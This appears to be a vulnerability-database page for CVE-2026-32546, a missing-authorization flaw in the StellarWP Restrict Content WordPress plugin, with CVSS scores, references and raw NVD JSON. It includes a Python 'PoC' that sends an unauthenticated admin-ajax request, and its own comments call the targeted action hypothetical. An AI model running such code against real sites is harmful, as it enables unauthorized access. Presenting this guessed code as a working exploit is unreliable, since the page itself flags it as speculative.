CVE-2026-32546

Description

Missing Authorization vulnerability in StellarWP Restrict Content restrict-content allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Restrict Content: from n/a through <= 3.2.22.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

StellarWP Restrict Content <= 3.2.22

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: StellarWP Restrict Content Missing Authorization PoC
# CVE: CVE-2026-32546

target_url = "http://target-wordpress-site/wp-admin/admin-ajax.php"

# Hypothetical vulnerable action based on Broken Access Control
payload = {
    "action": "rcp_export_data",  # Example action
    "nonce": ""
}

try:
    # Send request without authentication
    response = requests.post(target_url, data=payload)
    if response.status_code == 200 and "success" in response.text:
        print("[+] Exploit successful! Authorization bypassed.")
        print("[+] Response:", response.text[:200])
    else:
        print("[-] Exploit failed or patch applied.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32546
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32546
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32546/
[4] VulDB https://vuldb.com/cve/CVE-2026-32546
[5] https://patchstack.com/database/Wordpress/Plugin/restrict-content/vulnerability/wordpress-restrict-content-plugin-3-2-22-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32546", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:17:08.530", "lastModified": "2026-04-29T10:17:22.400", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in StellarWP Restrict Content restrict-content allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Restrict Content: from n/a through <= 3.2.22."}, {"lang": "es", "value": "Vulnerabilidad por ausencia de autorización en StellarWP Restrict Content restrict-content permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Restrict Content: desde n/a hasta <= 3.2.22."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/restrict-content/vulnerability/wordpress-restrict-content-plugin-3-2-22-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}